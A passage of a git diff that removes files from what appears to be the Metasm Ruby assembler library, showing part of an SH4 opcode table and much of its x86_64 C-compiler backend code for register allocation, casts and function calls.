:rn, :vbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00111110, :rn, :ssr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b01001110, :rn, :spc # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b11111010, :rn, :dbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b1 << 7 | 0b1110, :rn, :rn_bank # privileged instruction - - addop 'ldc.l', 0b0100 << 12 | 0b00010111, :@rn_, :gbr - addop 'ldc.l', 0b0100 << 12 | 0b00000111, :@rn_, :sr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00100111, :@rn_, :vbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00110111, :@rn_, :ssr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b01000111, :@rn_, :spc # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b11110110, :@rn_, :dbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b1 << 7 | 0b0111, :@rn_, :rn_bank # privileged instruction - - addop 'lds', 0b0100 << 12 | 0b01101010, :rn, :fpscr - addop 'lds.l', 0b0100 << 12 | 0b01100110, :@rn_, :fpscr - addop 'lds', 0b0100 << 12 | 0b01011010, :rn, :fpul - addop 'lds.l', 0b0100 << 12 | 0b01010110, :@rn_, :fpul - addop 'lds', 0b0100 << 12 | 0b00001010, :rn, :mach - addop 'lds.l', 0b0100 << 12 | 0b00000110, :@rn_, :mach - addop 'lds', 0b0100 << 12 | 0b00011010, :rn, :macl - addop 'lds.l', 0b0100 << 12 | 0b00010110, :@rn_, :macl - addop 'lds', 0b0100 << 12 | 0b00101010, :rn, :pr - addop 'lds.l', 0b0100 << 12 | 0b00100110, :@rn_, :pr - - addop 'ldtlb', 0b0000000000111000 - - addop 'mac.l', 0b0000 << 12 | 0b1111, :@rm_, :@rn_ - addop 'mac.w', 0b0100 << 12 | 0b1111, :@rm_, :@rn_ - - addop 'mov', 0b0110 << 12 | 0b0011, :rm, :rn - addop 'mov', 0b1110 << 12, :s8, :rn - - addop 'mov.b', 0b0010 << 12 | 0b0000, :rm, :@rn - addop 'mov.b', 0b0010 << 12 | 0b0100, :rm, :@_rn - addop 'mov.b', 0b0000 << 12 | 0b0100, :rm, :@r0rn - addop 'mov.b', 0b11000000 << 8, :r0, :@dispgbr - addop 'mov.b', 0b10000000 << 8, :r0, :@dispr0rn - addop 'mov.b', 0b0110 << 12 | 0b0000, :@rm, :rn - addop 'mov.b', 0b0110 << 12 | 0b0100, :@rm_, :rn - addop 'mov.b', 0b0000 << 12 | 0b1100, :@r0rm, :rn - addop 'mov.b', 0b11000100 << 8, :@dispgbr, :r0 - addop 'mov.b', 0b10000100 << 8, :@dispr0rn, :r0 - - addop 'mov.l', 0b0010 << 12 | 0b0010, :rm, :@rn - addop 'mov.l', 0b0010 << 12 | 0b0110, :rm, :@_rn - addop 'mov.l', 0b0000 << 12 | 0b0110, :rm, :@r0rn - addop 'mov.l', 0b11000010 << 8, :r0, :@dispgbr - addop 'mov.l', 0b0001 << 12, :rm, :@disprmrn - addop 'mov.l', 0b0110 << 12 | 0b0010, :@rm, :rn - addop 'mov.l', 0b0110 << 12 | 0b0110, :@rm_, :rn - addop 'mov.l', 0b0000 << 12 | 0b1110, :@r0rm, :rn - addop 'mov.l', 0b11000110 << 8, :@dispgbr, :r0 - addop 'mov.l', 0b1101 << 12, :@disppc, :rn - addop 'mov.l', 0b0101 << 12, :@disprm, :rn - - addop 'mov.w', 0b0010 << 12 | 0b0001, :rm, :@rn - addop 'mov.w', 0b0010 << 12 | 0b0101, :rm, :@_rn - addop 'mov.w', 0b0000 << 12 | 0b0101, :rm, :@r0rn - addop 'mov.w', 0b11000001 << 8, :r0, :@dispgbr - addop 'mov.w', 0b10000001 << 8, :r0, :@dispr0rn - addop 'mov.w', 0b0110 << 12 | 0b0001, :@rm, :rn - addop 'mov.w', 0b0110 << 12 | 0b0101, :@rm_, :rn - addop 'mov.w', 0b0000 << 12 | 0b1101, :@r0rm, :rn - addop 'mov.w', 0b11000101 << 8, :@dispgbr, :r0 - addop 'mov.w', 0b1001 << 12, :@disppc, :rn - addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 - - addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing - addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. - - addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn - - addop 'mul.l', 0b0000 << 12 | 0b0111, :rm, :rn - addop 'muls.w', 0b0010 << 12 | 0b1111, :rm, :rn - addop 'mulu.w', 0b0010 << 12 | 0b1110, :rm, :rn - - addop 'neg', 0b0110 << 12 | 0b1011, :rm, :rn - addop 'negc', 0b0110 << 12 | 0b1010, :rm, :rn - - addop 'nop', 0b0000000000001001 - - addop 'not', 0b0110 << 12 | 0b0111, :rm, :rn - - addop 'ocbi', 0b0000 << 12 | 0b10010011, :@rn # invalidates an operand cache block - addop 'ocbp', 0b0000 << 12 | 0b10100011, :@rn # purges an operand cache block - addop 'ocbwb', 0b0000 << 12 | 0b10110011, :@rn # write-backs an operand cache block - - addop 'or', 0b0010 << 12 | 0b1011, :rm, :rn - addop 'or', 0b11001011 << 8, :i8, :r0 - addop 'or.b', 0b11001111 << 8, :i8, :@r0gbr - - addop 'pref', 0b0000 | 0b10000011, :@rn # indicates a software-directed data prefetch - - addop 'rotcl', 0b0100 | 0b00100100, :rn - addop 'rotcr', 0b0100 | 0b00100101, :rn - addop 'rotl', 0b0100 | 0b00000100, :rn - addop 'rotr', 0b0100 | 0b00000101, :rn - - addop 'rte', 0b0000000000101011, :setip, :stopexec, :delay_slot # returns from an exception or interrupt handling routine, privileged instruction - addop 'rts', 0b0000000000001011, :setip, :stopexec, :delay_slot # returns from a subroutine - - addop 'sets', 0b0000000001011000 - addop 'sett', 0b0000000000011000 - - addop 'shad', 0b0100 << 12 | 0b1100, :rm, :rn - addop 'shal', 0b0100 << 12 | 0b00100000, :rn - addop 'shar', 0b0100 << 12 | 0b00100001, :rn - addop 'shld', 0b0100 << 12 | 0b1101, :rm, :rn - addop 'shll', 0b0100 << 12 | 0b00000000, :rn - addop 'shll2', 0b0100 << 12 | 0b00001000, :rn - addop 'shll8', 0b0100 << 12 | 0b00011000, :rn - addop 'shll16', 0b0100 << 12 | 0b00101000, :rn - addop 'shlr', 0b0100 << 12 | 0b00000001, :rn - addop 'shlr2', 0b0100 << 12 | 0b00001001, :rn - addop 'shlr8', 0b0100 << 12 | 0b00011001, :rn - addop 'shlr16', 0b0100 << 12 | 0b00101001, :rn - - addop 'sleep', 0b0000000000011011 # privileged instruction - - addop 'stc', 0b0000 << 12 | 0b00000010, :sr, :rn - addop 'stc', 0b0000 << 12 | 0b00100010, :vbr, :rn - addop 'stc', 0b0000 << 12 | 0b00110010, :ssr, :rn - addop 'stc', 0b0000 << 12 | 0b01000010, :spc, :rn - addop 'stc', 0b0000 << 12 | 0b00111010, :sgr, :rn - addop 'stc', 0b0000 << 12 | 0b11111010, :dbr, :rn - addop 'stc', 0b0000 << 12 | 0b1 << 7 | 0b0010, :rm_bank, :@_rn - addop 'stc', 0b0000 << 12 | 0b00010010, :gbr, :rn - - addop 'stc.l', 0b0100 << 12 | 0b00000011, :sr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00100011, :vbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110011, :ssr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b01000011, :spc, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110010, :sgr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b11110010, :dbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b1 << 7 | 0b0011, :rm_bank, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00010011, :gbr, :@_rn - - addop 'sts', 0b0000 << 12 | 0b01101010, :fpscr, :rn - addop 'sts.l', 0b0100 << 12 | 0b01100010, :fpscr, :@_rn - addop 'sts', 0b0000 << 12 | 0b01011010, :fpul, :rn - addop 'sts.l', 0b0100 << 12 | 0b01010010, :fpul, :@_rn - addop 'sts', 0b0000 << 12 | 0b00001010, :mach, :rn - addop 'sts.l', 0b0100 << 12 | 0b00000010, :mach, :@_rn - addop 'sts', 0b0000 << 12 | 0b00011010, :macl, :rn - addop 'sts.l', 0b0100 << 12 | 0b00010010, :macl, :@_rn - addop 'sts', 0b0000 << 12 | 0b00101010, :pr, :rn - addop 'sts.l', 0b0100 << 12 | 0b00100010, :pr, :@_rn - - addop 'sub', 0b0011 << 12 | 0b1000, :rm, :rn - addop 'subc', 0b0011 << 12 | 0b1010, :rm, :rn - addop 'subv', 0b0011 << 12 | 0b1011, :rm, :rn - - addop 'swap.b', 0b0110 << 12 | 0b1000, :rm, :rn - addop 'swap.w', 0b0110 << 12 | 0b1001, :rm, :rn - - addop 'tas.b', 0b0100 << 12 | 0b00011011, :@rn - addop 'trapa', 0b11000011 << 8, :i8, :setip, :stopexec # This instruction causes a pre-execution trap. - - addop 'tst', 0b0010 << 12 | 0b1000, :rm, :rn - addop 'tst', 0b11001000 << 8, :i8, :r0 - addop 'tst.b', 0b11001100 << 8, :i8, :@r0gbr - - addop 'xor', 0b0010 << 12 | 0b1010, :rm, :rn - addop 'xor', 0b11001010 << 8, :i8, :r0 - addop 'xob.b', 0b11001110 << 8, :i8, :@r0gbr - - addop 'xtrct', 0b0010 << 12 | 0b1101, :rm, :rn - end - -end - -end diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb deleted file mode 100644 index 19fc3fce1e..0000000000 --- a/lib/metasm/metasm/cpu/x86_64.rb +++ /dev/null @@ -1,15 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -class Metasm::X86_64 < Metasm::Ia32 -end - -require 'metasm/main' -require 'metasm/cpu/x86_64/parse' -require 'metasm/cpu/x86_64/encode' -require 'metasm/cpu/x86_64/decode' -require 'metasm/cpu/x86_64/render' -require 'metasm/cpu/x86_64/debug' -require 'metasm/cpu/x86_64/compile_c' diff --git a/lib/metasm/metasm/cpu/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb deleted file mode 100644 index 4c50fdafb2..0000000000 --- a/lib/metasm/metasm/cpu/x86_64/compile_c.rb +++ /dev/null @@ -1,1036 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/x86_64/parse' -require 'metasm/compile_c' - -module Metasm -class X86_64 -class CCompiler < C::Compiler - # holds compiler state information for a function - # registers are saved as register number (see Reg) - class State - # variable => offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are used as func args in current ABI - attr_accessor :regargs - # stack space reserved for subfunction in ABI - attr_accessor :args_space - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_rbp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # rsp is always in use - @inuse = [] - @bound = {} - @regargs = [] - @args_space = 0 - @abi_flushregs_call = [0, 1, 2, 6, 7, 8, 9, 10, 11] - @abi_trashregs = @abi_flushregs_call.dup - end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#<Address: #@modrm>" end - end - - - def initialize(*a) - super(*a) - @cpusz = 64 - @regnummax = 15 - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = (@state.abi_trashregs - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.val } - exempt << 4 - exempt << 5 if @state.saved_rbp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_rbp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - v = ModRM.new(@cpusz, sz, nil, nil, Reg.from_str('rip'), Expression[var.name, :-, '$_']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - unuse e - sz = typesize[type.pointer? ? :ptr : type.name]*8 - if sz < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - if e2.sz == 64 and e.sz == 32 - if op == 'movsx' - instr 'movsxd', e2, e - else - instr 'mov', Reg.new(e2.val, 32), e - end - else - instr op, e2, e - end - else - e2 = inuse findreg(sz) - instr 'mov', e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'float unhandled' - else raise "cannot cast #{e} to #{type}" - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - e2 = inuse findreg - instr 'mov', e2, e - e2 - elsif type.float? - raise 'float unhandled' - else raise "cannot cast #{e} to #{type}" - end - else - e - end - end - - # takes an argument, if the argument is an integer that does not fit in an i32, moves it to a temp reg - # the reg is unused, so use this only right when generating the offending instr (eg cmp, add..) - def i_to_i32(v) - if v.kind_of? Expression and i = v.reduce and i.kind_of?(Integer) - i &= 0xffff_ffff_ffff_ffff - if i <= 0x7fff_ffff - elsif i >= (1<<64)-0x8000_0000 - v = Expression[Expression.make_signed(i, 64)] - else - v = make_volatile(v, C::BaseType.new(:int)) - unuse v - end - end - v - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an X64 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - instr 'neg', r - elsif expr.type.float? - raise 'float unhandled' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - op = (inc ? 'inc' : 'dec') - instr op, r - elsif expr.type.float? - raise 'float unhandled' - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - if expr.type.float? or expr.rexpr.type.float? - raise 'float unhandled' - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.pointer? ? :ptr : expr.type.name]*8 - tfrom = typesize[expr.rexpr.type.pointer? ? :ptr : expr.rexpr.type.name]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - if r.sz == 64 and tto == 32 - instr 'mov', Reg.new(r.val, tto), Reg.new(r.val, tto) - else - instr 'and', r, Expression[(1<<tto)-1] if r.sz > tto - end - end - elsif tto > tfrom - if not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - if reg.sz == 64 and r.sz == 32 - if op == 'movsx' - instr 'movsxd', reg, r - else - instr 'mov', Reg.new(reg.val, 32), r - end - else - instr op, reg, r - end - r = reg - end - end - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX fptrs are not #integral? ... - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr != 1 - l.modrm.i = l.modrm.b - l.modrm.s = rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm - end - unuse r - return l - elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 - l.modrm.s *= rr - l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 - unuse r - return l - end - end - end - end - l = make_volatile(l, expr.type) if l.kind_of? Address - r ||= c_cexpr_inner(expr.rexpr) - c_cexpr_inner_arith(l, expr.op, r, expr.type) - l - when :'=' - r = c_cexpr_inner(expr.rexpr) - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Address - m = r.modrm.dup - m.sz = l.sz - instr 'lea', l, m - else - if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz - raise if l.sz > r.sz - if l.sz == 8 and r.val >= 4 - reg = ([0, 1, 2, 3] - @state.used).first - if not reg - rax = Reg.new(0, r.sz) - instr 'push', rax - instr 'mov', rax, r - instr 'mov', l, Reg.new(rax.val, 8) - instr 'pop', rax - else - flushcachereg(reg) - instr 'mov', Reg.new(reg, r.sz), r - instr 'mov', l, Reg.new(reg, 8) - end - else - instr 'mov', l, Reg.new(r.val, l.sz) - end - elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64 - rval = r.reduce - if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000 - r = make_volatile(r, expr.type) - unuse r - end - instr 'mov', l, r - else - instr 'mov', l, r - end - end - elsif expr.type.float? - raise 'float unhandled' - end - l - when :>, :<, :>=, :<=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz - unuse r - if expr.lexpr.type.integral? or expr.lexpr.type.pointer? - instr 'cmp', l, i_to_i32(r) - elsif expr.lexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - opcc = getcc(expr.op, expr.type) - instr 'set'+opcc, Reg.new(l.val, 8) - instr 'and', l, 1 - l - else - raise 'unhandled cexpr ' + expr.to_s - end - end - - # compiles a subroutine call - def c_cexpr_inner_funcall(expr) - backup = [] - rax = Reg.new(0, 64) - - ft = expr.lexpr.type - ft = ft.pointed if ft.pointer? - ft = nil if not ft.kind_of? C::Function - - regargsmask = @state.regargs.dup - if ft - ft.args.each_with_index { |a, i| - if rn = a.has_attribute_var('register') - regargsmask.insert(i, Reg.from_str(rn).val) - end - } - end - regargsmask = regargsmask[0, expr.rexpr.length] - - (@state.abi_flushregs_call | regargsmask.compact.uniq).each { |reg| - next if reg == 4 - next if reg == 5 and @state.saved_rbp - if not @state.used.include? reg - if not @state.abi_trashregs.include? reg - @state.dirty |= [reg] - end - next - end - backup << reg - instr 'push', Reg.new(reg, 64) - @state.used.delete reg - } - - stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact - - # preserve 16byte stack align under windows - stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1 - instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign - - stackargs.reverse_each { |arg| - raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - a = make_volatile(a, arg.type) if a.kind_of? ModRM and arg.type.name != :__int64 - unuse a - instr 'push', a - } - - regargs_unuse = [] - regargsmask.zip(expr.rexpr).reverse_each { |ra, arg| - next if not arg or not ra - a = c_cexpr_inner(arg) - a = resolve_address a if a.kind_of? Address - r = Reg.new(ra, a.respond_to?(:sz) ? a.sz : 64) - instr 'mov', r, a if not a.kind_of? Reg or a.val != r.val - unuse a - regargs_unuse << r if not @state.inuse.include? ra - inuse r - } - instr 'sub', Reg.new(4, 64), Expression[@state.args_space] if @state.args_space > 0 # TODO prealloc that at func start - - if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0 - # gcc stores here the nr of xmm args passed, real args are passed the standard way - instr 'xor', rax, rax - inuse rax - regargs_unuse << rax - end - - - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - ptr = make_volatile(ptr, expr.lexpr.type) if ptr.kind_of? Address - instr 'call', ptr - end - regargs_unuse.each { |r| unuse r } - argsz = @state.args_space + stackargs.length * 8 - argsz += 8 if stackalign - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - @state.used |= backup - if @state.used.include?(0) - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - backup.reverse_each { |reg| - if retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, 64) - instr 'xchg', Reg.new(reg, 64), Reg.new(retreg.val, 64) - else - instr 'pop', Reg.new(reg, 64) - end - inuse getreg(reg) - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? 